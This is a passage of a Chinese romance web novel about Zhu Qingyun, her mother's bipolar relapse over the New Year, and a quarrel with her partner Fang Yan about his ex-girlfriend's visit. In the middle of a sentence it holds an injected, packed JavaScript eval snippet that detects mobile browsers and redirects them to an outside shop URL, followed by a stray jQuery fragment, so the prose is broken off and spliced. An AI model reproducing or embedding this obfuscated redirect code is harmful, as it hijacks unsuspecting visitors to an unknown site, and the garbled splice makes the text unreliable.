方严的消息是腊月二十二到的。郑总那边确认了，钱进来了。祝青云回了一个"挺好的"，然后继续看青藤的玩家日志。她只是模糊地觉得——这个人做投资的时候从来不缺决断和办法，可别的事好像不是这样。
锁了手机之前又看了一眼那行字，没有回第二条，坐在窗台边上多待了一小会儿。
腊月二十六，祝青云回了C城。
高铁到站后她拖着箱子走过站前广场，路口那家包子铺还在，招牌换了个新颜色，从红色换成了蓝色。小区门口那棵老槐树冬天光秃秃的，枝桠斜着往路边长，和小时候看到的形状一模一样。上楼的时候楼道里声控灯还是坏的，她跺了一下脚，灯没亮，摸黑走过去了。开门之前闻到楼梯间里有一股腌菜的味道，不知道是哪户在腌东西。
祝老师穿了件新外套，头发剪短了，精神不错，拉着她的手说了很久的话。晚上李阿姨包了饺子，面和得软硬适中，馅调得咸淡正好，和往年没有区别。祝青云坐在餐桌对面咬了一口，牛肉胡萝卜的香味散开，熟悉得像一种不需要被说出来的东西。那晚她躺下来的时候心里松了一下，以为自己多虑了。
第二天半夜被一声响惊醒。客厅传来的，玻璃杯碎了的声音。她赤脚推开门，祝老师穿着睡衣站在茶几前面，手机摔在地上，屏幕碎了。茶几上那盘切好的苹果翻了一半，汁水淌在桌面上。她蹲下去捡地上的苹果块，抓了两块放在茶几上，站起来，又蹲下去捡另外两块。嘴里在说话，像在跟看不见的人争辩。祝青云站在走廊里叫了一声"妈"，她没听见，站起来撞了一下茶几边角，没有停下来。腿侧磕在木面上，但也没有停。
李阿姨从隔壁房间出来了，穿着一件旧棉袄，站在厨房门口看着，没有走过去。祝青云走过去把手机捡起来说妈，手机坏了明天我去修。祝老师突然停下来看着她，像从某个很远的地方被喊了一声，肩膀还微微提着。祝青云说，我买了新手机，在抽屉里。她的肩膀松了一些，在沙发上坐下来，喘了几口气，低头看着自己的手。
后半夜祝青云坐在客厅里，她妈妈在卧室里睡了。窗外的天从墨蓝变成灰白，街道对面那栋楼的灯一盏一盏亮起来。灶台上放着两杯没喝过的水，已经凉了。她坐在沙发上看着那些灯一盏一盏地亮，像有人在对面那栋楼里一扇一扇地拉开窗帘。
第二天上午，祝青云拨了C城医院精神科的电话。接电话的是她妈的主治医生，姓吴，人很温和，语速不快，像在念一段他已经讲过很多次的话。
"目前还属于波动期，不是急性发作。节前压力、作息变化都会引发症状反复。你现在把她接到北京，换环境反而可能加重。建议继续观察，药按新方案吃，如果两周内没有继续恶化，就不需要调整住院方案。"
祝青云说："她昨晚摔了杯子。手机摔碎了。在客厅里来回走了一个多小时。"
"这周她走路的时候有没有摔倒过？有没有自伤行为？有没有主动提起过要伤害自己？"
"没有。"
"言语上有没有持续两个以上的话题跳转，或者一小时以上的自言自语？"
祝青云回想了一下："没有持续，断断续续的，像在跟看不见的人说话，但每段不超过一两分钟就停了。"
"那她前一天晚上呢？"
"正常。"
"能睡吗？"
"后半夜睡了，大概三到四个小时。"
"那还不到临界值。"吴医生说，"你母亲的病史很长了，我对她的情况比较熟悉。这种波动在双相患者里很常见，每年换季、节前、气温骤变的时候都容易反复。目前的处理方式是先观察，如果两周后没有持续加重，那这次波动就过去了。你在C城还是在北京，对她的影响不大——现在需要的是稳定的环境和按时服药，不是换医生换医院。"
"我明白了。"
"你走之前记得提醒她按时吃药。"
"好。"
祝青云挂了电话。坐在床边没有动。窗外的阳光从百叶窗的缝隙里漏进来，在地板上切成一道一道平行的亮线。她在那里坐了一小会儿，然后拿起手机打开改签页面，从初三改到了大年三十下午。手指悬在"确认改签"的按钮上方，停了几秒。吴医生说"她在C城还是在北京，对她的影响不大"——这句话的意思是：你留下来和不留下来没有区别。不会变好，也不会变坏，只是等待。
她按了确认。然后打开手机备忘录，打了一行字："节后复查。观察期到正月十五。"
回北京那天下午，祝青云靠着窗没有睡着，手机里方严那条"要我过来接你吗"还停在对话框里，她说"不用"之后就没有新消息了。窗外的电线杆一根一根往后滑过去，数到一百多根的时候放弃了。
到家的时候快五点了，行李箱轮子在出电梯的时候磕了一下。走到门口的时候听到里面有说话声，隔着一道门，有女人的笑声，轻快而有教养。祝青云听了一会儿，认出了简安安的声音。然后是另一个女人的声音，不快不慢，温和得像在接一个话头。方严说了句什么，声音低低的，听不清内容，但语气是松的。
输入密码，门开了。
客厅光线偏暖。方严的父亲坐在主位上，旁边坐着一个祝青云没见过的女人，四十岁上下，穿一件深灰色的针织衫，戴一条细长的珍珠项链，姿态放松，正端着茶杯，食指搭在杯盖上。她的坐姿和方严父亲之间隔着大约半个身位，不远不近。简安安坐在单人沙发上，杏色的毛衣，领口别着一枚金色的小圆胸针，手里端着茶。她的围巾搭在沙发扶手上——祝青云常坐的那个位置，面前的茶杯旁边放着一只手机，屏幕朝下，壳子是深灰色的。
方严坐在长沙发靠边的位置，穿了一件浅灰色的家居服，脚上穿着一双深蓝色的拖鞋，姿态放松。茶几上放着四只白瓷茶杯和一小碟切好的水果，果皮边缘还没有氧化，像是刚切不久。
祝青云站在门口，外套没有脱，围巾没有摘。方先生抬头看了她一眼说回来了。那陌生女人也看过来，目光在她脸上停了一拍，语气温和，像在看一个她早就知道名字、只是还没对上脸的人。"路上累不累？方严说你今天回来，我们特意没多待，怕你赶一路辛苦。"
简安安说好久不见。方严站起来接她的行李箱，说这是沈若晴。沈若晴微微点了一下头说你好，语气和刚才一样，不含温度也不缺礼貌。方严说他爸的太太。然后把箱子拉进卧室，他的手指没有碰到祝青云的，只是把拉杆从她手里接走了。
祝青云靠在门板上站了一会儿，背抵着木门，听到外面沈若晴在说年后铺货的窗口期，简安安应了一声，方严的父亲说了句什么。衣柜的镜子映出她的脸——眼睛下面一层青灰色，嘴唇发干，外套肩膀上有一道压痕。她在镜子里看着自己，几秒后低下头开始换衣服。
换好衣服推开门的时候简安安已经站起来了，说先走了还有个线上会。沈若晴说那你路上小心。简安安走到玄关弯下腰系鞋带，鞋带松了，她低头的时候金色胸针在灯光下闪了一下。方严站在门框内侧，离简安安大约两步远，那条通道是开着的，她系好鞋带直起身就能直接拉开门走出去。他没有挡路，没有靠近，也没有说任何话，站在那里等她把鞋带系完。简安安直起身冲他摆了摆手，拉开门走了。
沈若晴也站起来说我们也走了，明天早上回纽约。方严送他们到电梯口，电梯门关之前他父亲回头说了句"年后再说"，方严点了点头。
门关上之后客厅安静下来。四只茶杯都空了，果碟里的水果没有被碰过，边缘已经开始氧化发褐。电视黑着，窗外的路灯刚刚亮起来，光和暗还没有完全分开。祝青云站在客厅中央看着那四只空杯排在茶几边缘。窗台上的绿萝叶片边缘泛黄，她看到了，没有剪。
方严走回来在她旁边坐下。两个人安静了一会儿。
"他们今天怎么都过来了？"她问。
方严说："我爸年后要去纽约待一阵，走之前想聊聊基金的事。简安安找沈若晴谈宠悦进商超的渠道，沈若晴说干脆来家里，方便。我爸习惯在家里谈事，觉得办公室太正式。"
祝青云看着他。那句话落在空气里，像一颗被缓慢拆解的糖，甜味散完了，只剩下一个她不想咽下去的核。
"你今天下午一直坐在家里，穿着家居服，和她喝茶。"
"她不是来找我的。"方严说，"她是来找沈若晴的，沈若晴在帮她牵商超的线，我爸来聊基金的事，他图方便选了我家。我还能说什么？'爸你别来我家'？"
"你可以说'换个地方'。"祝青云说，"你可以告诉她改天。你昨晚就知道她要来。"
方严看着她："我没有告诉你，是因为我想着等你回来之后再说。但你没有接电话。"
祝青云翻出手机看了一眼——下午四点十一分，一个未接来电，方严。她当时在高铁上，手机在口袋里，可能是震动没有感觉到。她看着屏幕，张了张嘴，没有说出话来。
"我打了一个，"方严说，"你没接。后来我想你可能在车上睡着了，就没有再打第二个。我今天下午坐在那里的时候在想的是——为什么我没有再打第二个电话。"
"那你想了什么？"
"我在想你是不是真的不需要我接你，还是你只是在说不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740845|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
用。你每次说不用的时候，我都不确定是不是应该再打一次。"
祝青云说："但你坐在那里一下午，穿着家居服，和她坐在同一张茶几的两端。她是你前女友。她知道我在意她。你知道我在意她。你今天下午坐在那里的时候，你有没有想过——她坐在那里，我推门进来的时候看到的是四个人坐在同一张桌子上，看起来像一家人。"
"像一家人。"方严重复了一遍这三个字，声音不大，但在安静的客厅里每个字都落得很清晰。"沈若晴是我爸的太太，她坐在那里是因为她是简安安的投资人。我爸坐在那里是因为他要跟我聊基金的事。简安安坐在那里是因为她在谈生意，要跟沈若晴谈完年前最后一件事——她不是为了坐在我家客厅里喝茶才来的。你今天推门进来的时候你看到的是'一家人'。我看到的是三个人分别带着三件事，在我家客厅里谈完了然后走。我们看到的不是同一幅场景。"
"我不知道你在想什么。"
方严说："我在想的是——你回C城之前说'不用接我'，你没有告诉我你妈那边具体什么情况。你走了之后我每天问一次，你每天都说'还在观察'。我在想'还在观察'是'还在变好'还是'还在等'。"
祝青云看着他："你每天问我一次我妈的情况，但你从来没有问过'你要不要提前回来'。"
"我问了。"方严说，"你改签的那天晚上我问了，你说'不用'。"
"你问的是'要不要去接你'。你问的是那个。"
方严停下来。他看着她的脸，安静了几秒。
"那你希望我问什么？"方严说，"你今天推门进来的时候，你在看什么？你在看那几杯茶放在哪里，看她坐在哪里，看茶几上那碟水果是刚切的还是放了一个下午的。你在找一道线——她坐在那里的时候，我有没有越过那道线。你找了那么久，你找到了吗？"
"我找到了。"祝青云说，"你让她进来了。她坐在我的位置上，用我买的茶杯，喝你泡的茶。你告诉我她只是来谈生意的——谈生意为什么非要在我家里谈？你穿着家居服坐在她对面的时候，你有没有想过——她上一次来，是不是也坐在这里？"
方严沉默了。他坐在那里没有再开口。
祝青云站起来。那道亮痕已经从地板上消失了，客厅里只剩下茶几边缘的一点反光，像一条线已经走完了它的路径。她站在沙发前面低头看着方严的脸，灯光落在他的侧脸上，他看起来很累，眼底有一层和祝青云一样的青灰色。
"那盒正山小种还在柜子里。"祝青云说，"你今天下午坐在客厅里的时候，她在几米之外坐着。那盒茶是她寄来的，你从来没有打开过，也从来没有扔掉过。你只是在等我做决定。"
方严沉默了。他坐在那里没有再开口。
祝青云站起来，走进卧室。关门的声音比平时重，门框磕了一下门框，咔嗒一声，然后在门板后面站了很久。
第二天早上祝青云走出卧室的时候，方严正站在厨房里。水烧开了，他往两只杯子里倒热水，一只放在左侧，一只放在右侧。她换了衣服，走过客厅的时候看到他端着一杯水在喝。他听到脚步声没有回头，只是说了一句："初一了。"
祝青云站在客厅和厨房交界的地方："嗯。"
"煮了饺子，在锅里。"他说。
她走过去，锅里水在翻滚，白气升起来，他拿漏勺把饺子一只一只捞进盘子里，动作不快不慢。她站在那里看着他捞完，然后接过他递过来的那盘饺子，两只碗，两双筷子。他端着另一只碗走回餐桌边，拉开椅子坐下，把筷子放好，然后抬起头看了她一眼。
祝青云在他对面坐下来。餐桌上的暖光从头顶落下来，饺子冒着热气，她夹了一个咬了一口，是三鲜馅的。他坐在对面也低头吃着，没有看她，也没有说话，像在做一件他已经习惯了的事。
吃完第一盘饺子，他问："还饿吗？"
"有一点。"
"那炒两个菜。"他说，"反正初一也没事。"
他站起来收拾了空盘和筷子，她跟过去站在厨房门口看他开火。围裙系在他腰上，和平时穿西装开会的样子不太一样，她安静地靠着门框，没有说破。油锅热了，他把切好的菜倒进去，滋啦一声响，香气散开了。
"料酒。"他背对着她说。
她走过去拿下来放在他右手边。伸手的时候他碰到了她的手腕，很短，然后继续翻锅里的菜了。窗外的阳光从偏白变成了偏黄，像冬天正在缓慢地往春天移动。
她低头看了一眼自己的手腕。那道被碰过的皮肤正在迅速凉下去。